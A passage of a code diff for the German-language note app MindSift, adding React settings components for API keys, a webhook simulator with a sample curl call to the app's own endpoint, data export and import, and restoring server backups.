const k = await api.getAPIKeys();
|
|
||||||
setKeys(k);
|
|
||||||
};
|
|
||||||
|
|
||||||
useEffect(() => {
|
|
||||||
loadKeys();
|
|
||||||
}, []);
|
|
||||||
|
|
||||||
const handleCreateKey = async (e: React.FormEvent) => {
|
|
||||||
e.preventDefault();
|
|
||||||
triggerHaptic(15);
|
|
||||||
const created = await api.createAPIKey(newKeyName.trim() || 'Home Assistant');
|
|
||||||
if (created.rawKey) {
|
|
||||||
setNewlyCreatedKey(created.rawKey);
|
|
||||||
}
|
|
||||||
setNewKeyName('');
|
|
||||||
await loadKeys();
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleDeleteKey = async (id: string) => {
|
|
||||||
triggerHaptic(20);
|
|
||||||
await api.deleteAPIKey(id);
|
|
||||||
await loadKeys();
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleCopy = (text: string) => {
|
|
||||||
navigator.clipboard.writeText(text);
|
|
||||||
setCopiedKey(true);
|
|
||||||
setTimeout(() => setCopiedKey(false), 2000);
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleSimulateWebhook = async () => {
|
|
||||||
triggerHaptic(20);
|
|
||||||
const tokenToUse = newlyCreatedKey || getToken() || '';
|
|
||||||
try {
|
|
||||||
await api.testWebhookIngest(tokenToUse, simTitle, simPriority, ['smarthome', 'automation']);
|
|
||||||
setSimStatus('✅ Webhook erfolgreich ausgelöst! Neue Karte liegt in deiner Inbox.');
|
|
||||||
onIngested();
|
|
||||||
setTimeout(() => setSimStatus(null), 4000);
|
|
||||||
} catch (err: any) {
|
|
||||||
setSimStatus(`❌ Fehler: ${err.message}`);
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
const handleFullExport = async () => {
|
|
||||||
triggerHaptic(15);
|
|
||||||
const data = await api.exportAll();
|
|
||||||
const blob = new Blob([JSON.stringify(data, null, 2)], {
|
|
||||||
type: 'application/json;charset=utf-8',
|
|
||||||
});
|
|
||||||
const url = URL.createObjectURL(blob);
|
|
||||||
const a = document.createElement('a');
|
|
||||||
a.href = url;
|
|
||||||
a.download = `mindsift-backup-${new Date().toISOString().slice(0, 10)}.json`;
|
|
||||||
a.click();
|
|
||||||
URL.revokeObjectURL(url);
|
|
||||||
};
|
|
||||||
|
|
||||||
const exampleToken = newlyCreatedKey || 'mindsift_sec_dein_api_key';
|
|
||||||
const baseUrl = window.location.origin;
|
|
||||||
|
|
||||||
return (
|
|
||||||
<div className="w-full panel-surface divide-y divide-border">
|
|
||||||
{/* Section 1: API Keys for Smarthome & Automation */}
|
|
||||||
<div className="p-4">
|
|
||||||
<div className="flex items-center gap-3 mb-2">
|
|
||||||
<div className="w-8 h-8 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
|
||||||
<Key className="w-4 h-4" />
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<h3 className="text-base font-bold text-white">
|
|
||||||
Webhooks & Ingestion API-Schlüssel
|
|
||||||
</h3>
|
|
||||||
<p className="text-xs sm:text-sm text-zinc-400">
|
|
||||||
Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs direkt mit deiner MindSift Inbox.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<form onSubmit={handleCreateKey} className="mt-3 flex flex-col sm:flex-row gap-2">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={newKeyName}
|
|
||||||
onChange={(e) => setNewKeyName(e.target.value)}
|
|
||||||
placeholder="Bezeichnung (z. B. Home Assistant, Proxmox Backup, Rauchmelder)…"
|
|
||||||
className="flex-1 h-9 px-3 input-field text-sm"
|
|
||||||
/>
|
|
||||||
<button
|
|
||||||
type="submit"
|
|
||||||
className="btn-primary h-9 px-4 text-xs sm:text-sm"
|
|
||||||
>
|
|
||||||
<Plus className="w-4 h-4" />
|
|
||||||
<span>API-Key erzeugen</span>
|
|
||||||
</button>
|
|
||||||
</form>
|
|
||||||
|
|
||||||
{newlyCreatedKey && (
|
|
||||||
<div className="mt-3 p-3 bg-accent/15 border border-accent/30 flex flex-wrap items-center justify-between gap-3">
|
|
||||||
<div className="min-w-0">
|
|
||||||
<p className="text-xs font-semibold text-accent mb-1">
|
|
||||||
Neuer API-Schlüssel erstellt (bitte jetzt kopieren):
|
|
||||||
</p>
|
|
||||||
<code className="text-xs sm:text-sm font-mono text-white break-all">
|
|
||||||
{newlyCreatedKey}
|
|
||||||
</code>
|
|
||||||
</div>
|
|
||||||
<button
|
|
||||||
onClick={() => handleCopy(newlyCreatedKey)}
|
|
||||||
className="btn-primary h-8 px-3 text-xs"
|
|
||||||
>
|
|
||||||
{copiedKey ? <Check className="w-3.5 h-3.5" /> : <Copy className="w-3.5 h-3.5" />}
|
|
||||||
<span>{copiedKey ? 'Kopiert!' : 'Key kopieren'}</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* Active Keys List */}
|
|
||||||
<div className="mt-3 border border-border divide-y divide-border">
|
|
||||||
{keys.length === 0 ? (
|
|
||||||
<p className="text-xs text-zinc-500 px-3 py-2">
|
|
||||||
Noch keine dedizierten API-Schlüssel hinterlegt.
|
|
||||||
</p>
|
|
||||||
) : (
|
|
||||||
keys.map((k) => (
|
|
||||||
<div
|
|
||||||
key={k.id}
|
|
||||||
className="px-3 py-1.5 bg-canvas flex items-center justify-between gap-3"
|
|
||||||
>
|
|
||||||
<div>
|
|
||||||
<span className="text-sm font-medium text-white">{k.name}</span>
|
|
||||||
<span className="ml-3 text-xs font-mono text-accent">{k.keyPrefix}</span>
|
|
||||||
{k.lastUsedAt && (
|
|
||||||
<span className="ml-3 text-xs text-zinc-500">
|
|
||||||
Zuletzt genutzt: {new Date(k.lastUsedAt).toLocaleDateString('de-DE')}
|
|
||||||
</span>
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
<button
|
|
||||||
onClick={() => handleDeleteKey(k.id)}
|
|
||||||
className="btn-icon btn-icon-danger w-7 h-7"
|
|
||||||
>
|
|
||||||
<Trash2 className="w-3.5 h-3.5" />
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
))
|
|
||||||
)}
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{/* Section 2: Interactive Smarthome Webhook Simulator */}
|
|
||||||
<div className="p-4">
|
|
||||||
<div className="flex items-center gap-3 mb-3">
|
|
||||||
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
|
||||||
<Webhook className="w-4 h-4" />
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<h3 className="text-base font-bold text-white">
|
|
||||||
Live Smarthome Webhook-Simulator
|
|
||||||
</h3>
|
|
||||||
<p className="text-xs sm:text-sm text-zinc-400">
|
|
||||||
Teste den Webhook-Endpunkt direkt hier – das Event landet sofort als Karte im Triage-Deck.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex flex-wrap gap-1.5 mb-3">
|
|
||||||
{[
|
|
||||||
{ label: '🧺 Waschmaschine fertig', text: 'Waschmaschine im Keller ist fertig – Wäsche aufhängen!', prio: 'high' as PriorityLevel },
|
|
||||||
{ label: '🚨 Rauchmelder Batterie', text: 'Rauchmelder Dachgeschoss meldet niedrige Batterie (12%)', prio: 'urgent' as PriorityLevel },
|
|
||||||
{ label: '💧 Luftfeuchtigkeit Keller', text: 'Kellerfeuchtigkeit über 70% – Lüften oder Entfeuchter starten', prio: 'urgent' as PriorityLevel },
|
|
||||||
].map((preset) => (
|
|
||||||
<button
|
|
||||||
key={preset.label}
|
|
||||||
type="button"
|
|
||||||
onClick={() => {
|
|
||||||
setSimTitle(preset.text);
|
|
||||||
setSimPriority(preset.prio);
|
|
||||||
}}
|
|
||||||
className="btn-action text-xs"
|
|
||||||
>
|
|
||||||
{preset.label}
|
|
||||||
</button>
|
|
||||||
))}
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<div className="flex flex-col sm:flex-row gap-2">
|
|
||||||
<input
|
|
||||||
type="text"
|
|
||||||
value={simTitle}
|
|
||||||
onChange={(e) => setSimTitle(e.target.value)}
|
|
||||||
className="flex-1 h-9 px-3 input-field text-sm"
|
|
||||||
/>
|
|
||||||
<button
|
|
||||||
type="button"
|
|
||||||
onClick={handleSimulateWebhook}
|
|
||||||
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-1.5"
|
|
||||||
>
|
|
||||||
<Zap className="w-4 h-4" />
|
|
||||||
<span>Webhook jetzt abfeuern</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{simStatus && (
|
|
||||||
<p className="mt-3 text-xs font-medium text-accent">{simStatus}</p>
|
|
||||||
)}
|
|
||||||
|
|
||||||
{/* Code Example Snippets */}
|
|
||||||
<div className="mt-4 space-y-2">
|
|
||||||
<div className="flex items-center gap-2 text-xs font-medium text-zinc-400">
|
|
||||||
<Terminal className="w-3.5 h-3.5 text-accent" />
|
|
||||||
<span>cURL / Home Assistant REST Command:</span>
|
|
||||||
</div>
|
|
||||||
<pre className="p-3 bg-canvas border border-border font-mono text-xs text-zinc-300 overflow-x-auto">
|
|
||||||
{`curl -X POST "${baseUrl}/api/v1/webhooks/ingest?token=${exampleToken}" \\
|
|
||||||
-H "Content-Type: application/json" \\
|
|
||||||
-d '{
|
|
||||||
"title": "Kellerfeuchtigkeit über 70%",
|
|
||||||
"priority": "urgent",
|
|
||||||
"tags": ["smarthome", "keller"]
|
|
||||||
}'`}
|
|
||||||
</pre>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
{/* Section 3: Data Sovereignty & Export */}
|
|
||||||
<div className="p-4 flex flex-col sm:flex-row items-start sm:items-center justify-between gap-4">
|
|
||||||
<div className="flex items-center gap-3">
|
|
||||||
<div className="w-7 h-7 bg-accent text-white flex items-center justify-center flex-shrink-0">
|
|
||||||
<ShieldCheck className="w-4 h-4" />
|
|
||||||
</div>
|
|
||||||
<div>
|
|
||||||
<h3 className="text-base font-bold text-white">
|
|
||||||
100 % Datensouveränität & Komplett-Export
|
|
||||||
</h3>
|
|
||||||
<p className="text-xs sm:text-sm text-zinc-400">
|
|
||||||
Exportiere jederzeit alle Gedanken, Aufgaben, Dokumente und geteilten Listen als portables JSON-Archiv.
|
|
||||||
</p>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
|
|
||||||
<button
|
|
||||||
onClick={handleFullExport}
|
|
||||||
className="btn-primary h-9 px-4 text-xs sm:text-sm flex items-center gap-2"
|
|
||||||
>
|
|
||||||
<Download className="w-4 h-4" />
|
|
||||||
<span>Komplett-Backup (.json)</span>
|
|
||||||
</button>
|
|
||||||
</div>
|
|
||||||
</div>
|
|
||||||
);
|
|
||||||
};
|
|
||||||
@@ -0,0 +1,246 @@
|
|||||||
|
import React, { useRef, useState } from 'react';
|
||||||
|
import { Upload, Check, AlertCircle, FileArchive } from 'lucide-react';
|
||||||
|
import { DATA_SECTIONS, DataSection, ImportSummary } from '../../lib/types';
|
||||||
|
import { SectionPicker } from './SectionPicker';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
|
||||||
|
interface ImportCardProps {
|
||||||
|
source: 'mindsift' | 'obsidian';
|
||||||
|
title: string;
|
||||||
|
description: React.ReactNode;
|
||||||
|
accept: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
const summaryParts = (s: ImportSummary) =>
|
||||||
|
[
|
||||||
|
s.folders && `${s.folders} Ordner`,
|
||||||
|
s.notes && `${s.notes} ${s.notes === 1 ? 'Notiz' : 'Notizen'}`,
|
||||||
|
s.taskLists && `${s.taskLists} Aufgabenliste${s.taskLists === 1 ? '' : 'n'}`,
|
||||||
|
s.tasks && `${s.tasks} Aufgabe${s.tasks === 1 ? '' : 'n'}`,
|
||||||
|
s.lists && `${s.lists} Liste${s.lists === 1 ? '' : 'n'} mit ${s.listItems} Einträgen`,
|
||||||
|
s.inbox && `${s.inbox} Gedanke${s.inbox === 1 ? '' : 'n'} für die Triage`,
|
||||||
|
s.themes && `${s.themes} Theme${s.themes === 1 ? '' : 's'}`,
|
||||||
|
].filter(Boolean) as string[];
|
||||||
|
|
||||||
|
// One import path: drop or pick a file, see a preview of what would be created, then import.
|
||||||
|
// Touch targets are large enough for phones; the file picker works on mobile browsers.
|
||||||
|
export const ImportCard: React.FC<ImportCardProps> = ({ source, title, description, accept }) => {
|
||||||
|
const inputRef = useRef<HTMLInputElement>(null);
|
||||||
|
const [file, setFile] = useState<File | null>(null);
|
||||||
|
const [preview, setPreview] = useState<ImportSummary | null>(null);
|
||||||
|
const [result, setResult] = useState<ImportSummary | null>(null);
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const [dragOver, setDragOver] = useState(false);
|
||||||
|
// MindSift data can replace the current state instead of being added next to it
|
||||||
|
const [mode, setMode] = useState<'merge' | 'restore'>('merge');
|
||||||
|
const [confirmRestore, setConfirmRestore] = useState(false);
|
||||||
|
// MindSift data: which parts to take from the file
|
||||||
|
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
|
||||||
|
const sectionParam = source === 'mindsift' ? sections : undefined;
|
||||||
|
const restoring = source === 'mindsift' && mode === 'restore';
|
||||||
|
|
||||||
|
const reset = () => {
|
||||||
|
setFile(null);
|
||||||
|
setPreview(null);
|
||||||
|
setError(null);
|
||||||
|
setConfirmRestore(false);
|
||||||
|
};
|
||||||
|
|
||||||
|
const pick = async (f?: File) => {
|
||||||
|
if (!f) return;
|
||||||
|
reset();
|
||||||
|
setResult(null);
|
||||||
|
setFile(f);
|
||||||
|
setBusy(true);
|
||||||
|
try {
|
||||||
|
setPreview(await api.importData(source, f, true, 'merge', sectionParam));
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Datei konnte nicht gelesen werden');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const runImport = async () => {
|
||||||
|
if (!file) return;
|
||||||
|
setBusy(true);
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setResult(await api.importData(source, file, false, restoring ? 'restore' : 'merge', sectionParam));
|
||||||
|
setFile(null);
|
||||||
|
setPreview(null);
|
||||||
|
setConfirmRestore(false);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Import fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const shown = result || preview;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="p-4 bg-canvas border border-border rounded-card space-y-3">
|
||||||
|
<div>
|
||||||
|
<h4 className="font-bold text-main">{title}</h4>
|
||||||
|
<p className="text-muted text-[11px] mt-0.5">{description}</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{source === 'mindsift' && (
|
||||||
|
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2" role="radiogroup" aria-label="Import-Modus">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['merge', 'Hinzufügen', 'Bestehende Daten behalten, Backup daneben anlegen.'],
|
||||||
|
['restore', 'Wiederherstellen', 'Gewählte Bereiche vorher leeren.'],
|
||||||
|
] as const
|
||||||
|
).map(([value, label, text]) => (
|
||||||
|
<button
|
||||||
|
key={value}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={mode === value}
|
||||||
|
onClick={() => {
|
||||||
|
setMode(value);
|
||||||
|
setConfirmRestore(false);
|
||||||
|
}}
|
||||||
|
className={`p-2.5 min-h-[44px] text-left border rounded-card transition-colors ${
|
||||||
|
mode === value
|
||||||
|
? value === 'restore'
|
||||||
|
? 'border-status-err bg-status-err/10'
|
||||||
|
: 'border-accent bg-accent/10'
|
||||||
|
: 'border-border hover:border-strong'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className={`block text-xs font-semibold ${value === 'restore' && mode === value ? 'text-status-err' : 'text-main'}`}>{label}</span>
|
||||||
|
<span className="block text-[11px] text-muted">{text}</span>
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{source === 'mindsift' && (
|
||||||
|
<SectionPicker
|
||||||
|
value={sections}
|
||||||
|
onChange={(next) => {
|
||||||
|
setSections(next);
|
||||||
|
// The preview depends on the sections, so a picked file is read again
|
||||||
|
if (file) {
|
||||||
|
setBusy(true);
|
||||||
|
api
|
||||||
|
.importData(source, file, true, 'merge', next)
|
||||||
|
.then(setPreview)
|
||||||
|
.catch((err) => setError(err.message))
|
||||||
|
.finally(() => setBusy(false));
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
|
|
||||||
|
<div
|
||||||
|
onDragOver={(e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setDragOver(true);
|
||||||
|
}}
|
||||||
|
onDragLeave={() => setDragOver(false)}
|
||||||
|
onDrop={(e) => {
|
||||||
|
e.preventDefault();
|
||||||
|
setDragOver(false);
|
||||||
|
pick(e.dataTransfer.files?.[0]);
|
||||||
|
}}
|
||||||
|
className={`p-4 border border-dashed rounded-card flex flex-col sm:flex-row items-center justify-center gap-3 text-center transition-colors ${
|
||||||
|
dragOver ? 'border-accent bg-accent/10' : 'border-border'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className="text-[11px] text-muted hidden sm:inline">Datei hierher ziehen oder</span>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
disabled={busy}
|
||||||
|
onClick={() => inputRef.current?.click()}
|
||||||
|
className="btn-action h-11 sm:h-9 px-4 text-xs flex items-center justify-center gap-2 disabled:opacity-50 w-full sm:w-auto"
|
||||||
|
>
|
||||||
|
<Upload className="w-3.5 h-3.5 text-accent" />
|
||||||
|
<span>Datei auswählen</span>
|
||||||
|
</button>
|
||||||
|
<input
|
||||||
|
ref={inputRef}
|
||||||
|
type="file"
|
||||||
|
accept={accept}
|
||||||
|
className="hidden"
|
||||||
|
onChange={(e) => {
|
||||||
|
pick(e.target.files?.[0]);
|
||||||
|
e.target.value = '';
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{busy && <p className="text-[11px] text-muted">{preview ? 'Importiere…' : 'Lese Datei…'}</p>}
|
||||||
|
{error && (
|
||||||
|
<p className="text-[11px] text-status-err flex items-start gap-1.5">
|
||||||
|
<AlertCircle className="w-3.5 h-3.5 shrink-0 mt-px" />
|
||||||
|
<span>{error}</span>
|
||||||
|
</p>
|
||||||
|
)}
|
||||||
|
|
||||||
|
{shown && !busy && (
|
||||||
|
<div
|
||||||
|
className={`p-3 rounded-card border text-xs space-y-2 ${
|
||||||
|
result ? 'border-status-ok/40 bg-status-ok/10' : 'border-border bg-panel'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<p className="font-semibold text-main flex items-center gap-1.5">
|
||||||
|
{result ? <Check className="w-3.5 h-3.5 text-status-ok" /> : <FileArchive className="w-3.5 h-3.5 text-accent" />}
|
||||||
|
<span>{result ? 'Import abgeschlossen' : `Vorschau: ${file?.name}`}</span>
|
||||||
|
</p>
|
||||||
|
<p className="text-muted">
|
||||||
|
{result ? 'Angelegt: ' : 'Wird angelegt: '}
|
||||||
|
{summaryParts(shown).join(', ') || 'nichts'}.
|
||||||
|
</p>
|
||||||
|
{shown.skipped.length > 0 && (
|
||||||
|
<details className="text-[11px] text-muted">
|
||||||
|
<summary className="cursor-pointer">{shown.skipped.length} übersprungen</summary>
|
||||||
|
<ul className="mt-1 space-y-0.5 max-h-40 overflow-y-auto">
|
||||||
|
{shown.skipped.map((s, i) => (
|
||||||
|
<li key={i}>
|
||||||
|
<span className="font-mono text-main">{s.path}</span> – {s.reason}
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
</details>
|
||||||
|
)}
|
||||||
|
{!result && restoring && (
|
||||||
|
<label className="flex items-start gap-2 p-2.5 rounded-card border border-status-err/40 bg-status-err/10 text-[11px] text-main cursor-pointer">
|
||||||
|
<input
|
||||||
|
type="checkbox"
|
||||||
|
checked={confirmRestore}
|
||||||
|
onChange={(e) => setConfirmRestore(e.target.checked)}
|
||||||
|
className="mt-0.5 w-4 h-4 shrink-0"
|
||||||
|
/>
|
||||||
|
<span>
|
||||||
|
<strong className="text-status-err">Achtung:</strong> Deine bisherigen Daten in den gewählten Bereichen
|
||||||
|
({DATA_SECTIONS.filter((x) => sections.includes(x.id)).map((x) => x.label).join(', ')}) werden vor dem Import
|
||||||
|
unwiderruflich gelöscht und durch das Backup ersetzt. Mit dir geteilte Inhalte anderer
|
||||||
|
bleiben erhalten.
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
)}
|
||||||
|
{!result && (
|
||||||
|
<div className="flex flex-col sm:flex-row gap-2 pt-1">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={runImport}
|
||||||
|
disabled={restoring && !confirmRestore}
|
||||||
|
className={`h-11 sm:h-8 px-4 text-xs font-semibold disabled:opacity-50 ${restoring ? 'btn-action border-status-err text-status-err' : 'btn-primary'}`}
|
||||||
|
>
|
||||||
|
{restoring ? 'Löschen und wiederherstellen' : 'Jetzt importieren'}
|
||||||
|
</button>
|
||||||
|
<button type="button" onClick={reset} className="btn-action h-11 sm:h-8 px-3 text-xs">
|
||||||
|
Abbrechen
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -0,0 +1,37 @@
|
|||||||
|
import React from 'react';
|
||||||
|
import { Check } from 'lucide-react';
|
||||||
|
import { DATA_SECTIONS, DataSection } from '../../lib/types';
|
||||||
|
|
||||||
|
interface SectionPickerProps {
|
||||||
|
value: DataSection[];
|
||||||
|
onChange: (sections: DataSection[]) => void;
|
||||||
|
label?: string;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Which parts of the own data a restore or import covers; at least one stays selected
|
||||||
|
export const SectionPicker: React.FC<SectionPickerProps> = ({ value, onChange, label = 'Bereiche' }) => (
|
||||||
|
<div className="flex flex-wrap items-center gap-1.5" role="group" aria-label={label}>
|
||||||
|
<span className="text-[11px] text-muted mr-1">{label}:</span>
|
||||||
|
{DATA_SECTIONS.map((sec) => {
|
||||||
|
const on = value.includes(sec.id);
|
||||||
|
return (
|
||||||
|
<button
|
||||||
|
key={sec.id}
|
||||||
|
type="button"
|
||||||
|
role="checkbox"
|
||||||
|
aria-checked={on}
|
||||||
|
onClick={() => {
|
||||||
|
const next = on ? value.filter((v) => v !== sec.id) : [...value, sec.id];
|
||||||
|
if (next.length > 0) onChange(next);
|
||||||
|
}}
|
||||||
|
className={`h-11 sm:h-7 px-2.5 rounded-btn border text-[11px] inline-flex items-center gap-1 transition-colors ${
|
||||||
|
on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{on && <Check className="w-3 h-3 text-accent" />}
|
||||||
|
{sec.label}
|
||||||
|
</button>
|
||||||
|
);
|
||||||
|
})}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
@@ -0,0 +1,151 @@
|
|||||||
|
import React, { useEffect, useState } from 'react';
|
||||||
|
import { Archive, Check, Download, RotateCcw } from 'lucide-react';
|
||||||
|
import { BackupFile, DataSection, DATA_SECTIONS, ImportSummary } from '../../lib/types';
|
||||||
|
import { api } from '../../lib/api';
|
||||||
|
import { formatBytes, saveBlob } from '../../lib/download';
|
||||||
|
import { SectionPicker } from './SectionPicker';
|
||||||
|
|
||||||
|
// The user's own automatic backups on the server: download or restore (all or some sections)
|
||||||
|
export const ServerBackupsCard: React.FC = () => {
|
||||||
|
const [files, setFiles] = useState<BackupFile[]>([]);
|
||||||
|
const [open, setOpen] = useState<string | null>(null); // backup being restored
|
||||||
|
const [mode, setMode] = useState<'merge' | 'restore'>('restore');
|
||||||
|
const [sections, setSections] = useState<DataSection[]>(DATA_SECTIONS.map((s) => s.id));
|
||||||
|
const [confirm, setConfirm] = useState(false);
|
||||||
|
const [busy, setBusy] = useState(false);
|
||||||
|
const [error, setError] = useState<string | null>(null);
|
||||||
|
const [result, setResult] = useState<ImportSummary | null>(null);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
api.listMyBackups().then(setFiles).catch(() => {});
|
||||||
|
}, []);
|
||||||
|
|
||||||
|
const startRestore = (name: string) => {
|
||||||
|
setOpen(open === name ? null : name);
|
||||||
|
setConfirm(false);
|
||||||
|
setError(null);
|
||||||
|
setResult(null);
|
||||||
|
};
|
||||||
|
|
||||||
|
const restore = async () => {
|
||||||
|
if (!open) return;
|
||||||
|
setBusy(true);
|
||||||
|
setError(null);
|
||||||
|
try {
|
||||||
|
setResult(await api.restoreMyBackup(open, mode, sections));
|
||||||
|
setConfirm(false);
|
||||||
|
} catch (err: any) {
|
||||||
|
setError(err.message || 'Wiederherstellen fehlgeschlagen');
|
||||||
|
} finally {
|
||||||
|
setBusy(false);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
const sectionNames = DATA_SECTIONS.filter((s) => sections.includes(s.id))
|
||||||
|
.map((s) => s.label)
|
||||||
|
.join(', ');
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="space-y-2">
|
||||||
|
<div>
|
||||||
|
<h3 className="font-bold text-main flex items-center gap-1.5">
|
||||||
|
<Archive className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Server-Backups
|
||||||
|
</h3>
|
||||||
|
<p className="text-muted text-[11px] mt-0.5">
|
||||||
|
Automatische tägliche Sicherungen deiner Daten auf dem Server (falls die Administration sie eingeschaltet hat).
|
||||||
|
</p>
|
||||||
|
</div>
|
||||||
|
<div className="border border-border divide-y divide-border bg-canvas">
|
||||||
|
{files.length === 0 ? (
|
||||||
|
<p className="p-3 text-[11px] text-faint">Noch keine Server-Backups vorhanden.</p>
|
||||||
|
) : (
|
||||||
|
files.map((f) => (
|
||||||
|
<div key={f.name} className="p-3 space-y-2">
|
||||||
|
<div className="flex flex-wrap items-center justify-between gap-2">
|
||||||
|
<div className="min-w-0">
|
||||||
|
<p className="text-xs font-semibold text-main">{new Date(f.createdAt).toLocaleString('de-DE')}</p>
|
||||||
|
<p className="text-[11px] text-faint">{formatBytes(f.size)}</p>
|
||||||
|
</div>
|
||||||
|
<div className="flex gap-2">
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={async () => saveBlob(await api.downloadMyBackup(f.name), f.name)}
|
||||||
|
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
|
||||||
|
>
|
||||||
|
<Download className="w-3.5 h-3.5" />
|
||||||
|
Download
|
||||||
|
</button>
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
onClick={() => startRestore(f.name)}
|
||||||
|
aria-expanded={open === f.name}
|
||||||
|
className="btn-action h-11 sm:h-7 px-2.5 text-[11px] inline-flex items-center gap-1"
|
||||||
|
>
|
||||||
|
<RotateCcw className="w-3.5 h-3.5 text-accent" />
|
||||||
|
Wiederherstellen
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
{open === f.name && (
|
||||||
|
<div className="p-3 rounded-card border border-border bg-panel space-y-2.5">
|
||||||
|
<div className="grid grid-cols-1 sm:grid-cols-2 gap-2" role="radiogroup" aria-label="Art der Wiederherstellung">
|
||||||
|
{(
|
||||||
|
[
|
||||||
|
['restore', 'Ersetzen', 'Gewählte Bereiche vorher leeren.'],
|
||||||
|
['merge', 'Hinzufügen', 'Bestehendes behalten, Backup daneben anlegen.'],
|
||||||
|
] as const
|
||||||
|
).map(([value, label, text]) => (
|
||||||
|
<button
|
||||||
|
key={value}
|
||||||
|
type="button"
|
||||||
|
role="radio"
|
||||||
|
aria-checked={mode === value}
|
||||||
|
onClick={() => {
|
||||||
|
setMode(value);
|
||||||
|
setConfirm(false);
|
||||||
|
}}
|
||||||
|
className={`p-2 min-h-[44px] text-left border rounded-card transition-colors ${
|
||||||
|
mode === value ? (value === 'restore' ? 'border-status-err bg-status-err/10' : 'border-accent bg-accent/10') : 'border-border'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
<span className="block text-xs font-semibold text-main">{label}</span>
|
||||||
|
<span className="block text-[11px] text-muted">{text}</span>
|
||||||
|
</button>
|
||||||
|
))}
|
||||||
|
</div>
|
||||||
|
<SectionPicker value={sections} onChange={setSections} />
|
||||||
|
{result ? (
|
||||||
|
<p className="text-[11px] text-status-ok flex items-center gap-1">
|
||||||
|
<Check className="w-3.5 h-3.5" /> Wiederhergestellt: {result.notes} Notizen, {result.tasks} Aufgaben, {result.lists} Listen,{' '}
|
||||||
|
{result.inbox} Gedanken, {result.themes ?? 0} Themes.
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<button
|
||||||
|
type="button"
|
||||||
|
disabled={busy}
|
||||||
|
onClick={() => (mode === 'restore' && !confirm ? setConfirm(true) : restore())}
|
||||||
|
className={`h-11 sm:h-8 px-4 text-xs font-semibold disabled:opacity-50 ${
|
||||||
|
mode === 'restore' ? 'btn-action border-status-err text-status-err' : 'btn-primary'
|
||||||
|
}`}
|
||||||
|
>
|
||||||
|
{busy
|
||||||
|
? 'Stelle wieder her…'
|
||||||
|
: mode === 'restore' && confirm
|
||||||
|
? `Wirklich ${sectionNames} ersetzen?`
|
||||||
|
